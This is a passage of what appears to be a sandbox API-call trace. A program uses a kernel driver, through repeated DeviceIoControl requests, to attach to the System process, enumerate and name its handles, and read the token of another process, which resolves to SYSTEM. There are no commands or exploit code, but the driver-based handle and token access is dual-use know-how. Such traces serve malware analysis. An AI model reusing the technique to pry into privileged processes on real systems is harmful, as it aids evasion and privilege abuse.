PsReleaseProcessExitSynchronization () returned 0x2 [0119.763] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x187 [0119.763] ObQueryNameString (in: Object=0xfffffa80034a8a20, ObjectNameInfo=0xfffffa8001a06044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a06044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.763] ObfDereferenceObject (Object=0xfffffa80034a8a20) returned 0x2 [0119.763] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.763] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.763] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.763] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0119.763] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.763] PsAcquireProcessExitSynchronization () returned 0x0 [0119.763] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.763] ObReferenceObjectByHandle (in: Handle=0xffffffff80000b88, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800212e050, HandleInformation=0x0) returned 0x0 [0119.763] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.763] PsReleaseProcessExitSynchronization () returned 0x2 [0119.763] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x187 [0119.763] ObQueryNameString (in: Object=0xfffffa800212e050, ObjectNameInfo=0xfffffa8001a05044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a05044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.763] ObfDereferenceObject (Object=0xfffffa800212e050) returned 0x2 [0119.763] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.763] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.764] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.764] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.764] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.764] PsAcquireProcessExitSynchronization () returned 0x0 [0119.764] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.764] ObReferenceObjectByHandle (in: Handle=0xffffffff80000b9c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80031367d0, HandleInformation=0x0) returned 0x0 [0119.764] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.764] PsReleaseProcessExitSynchronization () returned 0x2 [0119.764] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x187 [0119.764] ObQueryNameString (in: Object=0xfffffa80031367d0, ObjectNameInfo=0xfffffa8001a04044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a04044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.764] ObfDereferenceObject (Object=0xfffffa80031367d0) returned 0x2 [0119.764] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.764] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.764] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.764] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0119.764] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.764] PsAcquireProcessExitSynchronization () returned 0x0 [0119.764] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.764] ObReferenceObjectByHandle (in: Handle=0xffffffff80000ba0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800260e630, HandleInformation=0x0) returned 0x0 [0119.764] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.764] PsReleaseProcessExitSynchronization () returned 0x2 [0119.764] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x187 [0119.764] ObQueryNameString (in: Object=0xfffffa800260e630, ObjectNameInfo=0xfffffa80019fa044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80019fa044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.764] ObfDereferenceObject (Object=0xfffffa800260e630) returned 0x2 [0119.764] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.765] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.765] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.765] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.765] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.765] PsAcquireProcessExitSynchronization () returned 0x0 [0119.765] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.765] ObReferenceObjectByHandle (in: Handle=0xffffffff80000ba4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8001eeb420, HandleInformation=0x0) returned 0x0 [0119.765] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.765] PsReleaseProcessExitSynchronization () returned 0x2 [0119.765] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x187 [0119.765] ObQueryNameString (in: Object=0xfffffa8001eeb420, ObjectNameInfo=0xfffffa80019fb044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80019fb044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.765] ObfDereferenceObject (Object=0xfffffa8001eeb420) returned 0x2 [0119.765] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.765] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.765] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.765] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0119.765] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.765] PsAcquireProcessExitSynchronization () returned 0x0 [0119.765] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.765] ObReferenceObjectByHandle (in: Handle=0xffffffff80000ba8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002921f20, HandleInformation=0x0) returned 0x0 [0119.765] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.765] PsReleaseProcessExitSynchronization () returned 0x2 [0119.765] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x187 [0119.765] ObQueryNameString (in: Object=0xfffffa8002921f20, ObjectNameInfo=0xfffffa80020cd044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80020cd044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.765] ObfDereferenceObject (Object=0xfffffa8002921f20) returned 0x2 [0119.765] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.765] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.765] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.765] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.765] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.765] PsAcquireProcessExitSynchronization () returned 0x0 [0119.765] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.766] ObReferenceObjectByHandle (in: Handle=0xffffffff80000bb0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8001f973f0, HandleInformation=0x0) returned 0x0 [0119.766] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.766] PsReleaseProcessExitSynchronization () returned 0x2 [0119.766] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x187 [0119.766] ObQueryNameString (in: Object=0xfffffa8001f973f0, ObjectNameInfo=0xfffffa80019f9044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80019f9044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.766] ObfDereferenceObject (Object=0xfffffa8001f973f0) returned 0x2 [0119.766] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.766] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.766] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.766] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0119.766] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.766] PsAcquireProcessExitSynchronization () returned 0x0 [0119.766] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.766] ObReferenceObjectByHandle (in: Handle=0xffffffff80000bb8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800219eac0, HandleInformation=0x0) returned 0x0 [0119.766] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.766] PsReleaseProcessExitSynchronization () returned 0x2 [0119.766] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x187 [0119.766] ObQueryNameString (in: Object=0xfffffa800219eac0, ObjectNameInfo=0xfffffa80019fc044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80019fc044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.766] ObfDereferenceObject (Object=0xfffffa800219eac0) returned 0x2 [0119.766] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.766] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.766] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.766] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.766] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.766] PsAcquireProcessExitSynchronization () returned 0x0 [0119.766] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.766] ObReferenceObjectByHandle (in: Handle=0xffffffff80000bbc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800374d660, HandleInformation=0x0) returned 0x0 [0119.766] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.766] PsReleaseProcessExitSynchronization () returned 0x2 [0119.766] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x187 [0119.766] ObQueryNameString (in: Object=0xfffffa800374d660, ObjectNameInfo=0xfffffa80019fd044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80019fd044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.766] ObfDereferenceObject (Object=0xfffffa800374d660) returned 0x2 [0119.766] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.767] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.767] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.767] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0119.767] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.767] PsAcquireProcessExitSynchronization () returned 0x0 [0119.767] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.767] ObReferenceObjectByHandle (in: Handle=0xffffffff80000bc8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800231d680, HandleInformation=0x0) returned 0x0 [0119.767] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.767] PsReleaseProcessExitSynchronization () returned 0x2 [0119.767] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x187 [0119.767] ObQueryNameString (in: Object=0xfffffa800231d680, ObjectNameInfo=0xfffffa80019fe044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80019fe044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.767] ObfDereferenceObject (Object=0xfffffa800231d680) returned 0x2 [0119.767] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.767] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.767] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.767] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.767] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.767] PsAcquireProcessExitSynchronization () returned 0x0 [0119.767] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.767] ObReferenceObjectByHandle (in: Handle=0xffffffff80000bcc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800359a050, HandleInformation=0x0) returned 0x0 [0119.767] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.767] PsReleaseProcessExitSynchronization () returned 0x2 [0119.767] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x187 [0119.767] ObQueryNameString (in: Object=0xfffffa800359a050, ObjectNameInfo=0xfffffa80019ff044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80019ff044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.767] ObfDereferenceObject (Object=0xfffffa800359a050) returned 0x2 [0119.767] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.767] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.767] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.767] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0119.767] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.767] PsAcquireProcessExitSynchronization () returned 0x0 [0119.767] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.767] ObReferenceObjectByHandle (in: Handle=0xffffffff80000bd0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003897f20, HandleInformation=0x0) returned 0x0 [0119.768] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.768] PsReleaseProcessExitSynchronization () returned 0x2 [0119.768] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x187 [0119.768] ObQueryNameString (in: Object=0xfffffa8003897f20, ObjectNameInfo=0xfffffa8001a00044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a00044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.768] ObfDereferenceObject (Object=0xfffffa8003897f20) returned 0x2 [0119.768] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.768] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.768] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.768] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.768] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.768] PsAcquireProcessExitSynchronization () returned 0x0 [0119.768] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.768] ObReferenceObjectByHandle (in: Handle=0xffffffff80000be0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002616420, HandleInformation=0x0) returned 0x0 [0119.768] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.768] PsReleaseProcessExitSynchronization () returned 0x2 [0119.768] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x187 [0119.768] ObQueryNameString (in: Object=0xfffffa8002616420, ObjectNameInfo=0xfffffa8001a01044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a01044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.768] ObfDereferenceObject (Object=0xfffffa8002616420) returned 0x2 [0119.768] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.768] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.768] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x104) returned 0xc0 [0119.768] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0119.768] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004435668, HandleInformation=0x0 | out: Object=0xfffff88004435668*=0xfffffa8002b79b30, HandleInformation=0x0) returned 0x0 [0119.768] ObOpenObjectByPointer (in: Object=0xfffffa8002b79b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004435670 | out: Handle=0xfffff88004435670*=0xffffffff80000900) returned 0x0 [0119.768] ObfDereferenceObject (Object=0xfffffa8002b79b30) returned 0x18 [0119.768] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000900, DesiredAccess=0x8, TokenHandle=0xfffffa8003541c40 | out: TokenHandle=0xfffffa8003541c40*=0xc8) returned 0x0 [0119.768] ZwClose (Handle=0xffffffff80000900) returned 0x0 [0119.768] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.768] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0119.768] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="SYSTEM", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0119.770] CloseHandle (hObject=0xc8) returned 1 [0119.770] CloseHandle (hObject=0xc0) returned 1 [0119.770] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.770] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0119.770] PsLookupProcessByProcessId (in: ProcessId=0x104, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.770] PsAcquireProcessExitSynchronization () returned 0x0 [0119.770] KeStackAttachProcess (in: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff880044355d0) [0119.856] ObReferenceObjectByHandle (in: Handle=0x4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80050497e0, HandleInformation=0x0) returned 0x0 [0119.856] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.856] PsReleaseProcessExitSynchronization () returned 0x2 [0119.856] ObfDereferenceObject (Object=0xfffffa8002b79b30) returned 0x16 [0119.856] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a02044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a02044, ReturnLength=0xfffff88004435508) returned 0x0 [0119.856] ObfDereferenceObject (Object=0xfffffa80050497e0) returned 0x1 [0119.856] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.856] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.856] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.856] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x2c, lpOverlapped=0x0) returned 1 [0119.856] PsLookupProcessByProcessId (in: ProcessId=0x104, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.856] PsAcquireProcessExitSynchronization () returned 0x0 [0119.856] KeStackAttachProcess (in: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff880044355d0) [0119.919] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8007591420, HandleInformation=0x0) returned 0x0 [0119.919] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.919] PsReleaseProcessExitSynchronization () returned 0x2 [0119.919] ObfDereferenceObject (Object=0xfffffa8002b79b30) returned 0x16 [0119.919] ObQueryNameString (in: Object=0xfffffa8007591420, ObjectNameInfo=0xfffffa800201f044, Length=0x800, ReturnLength=0xfffff88004435550 | out: 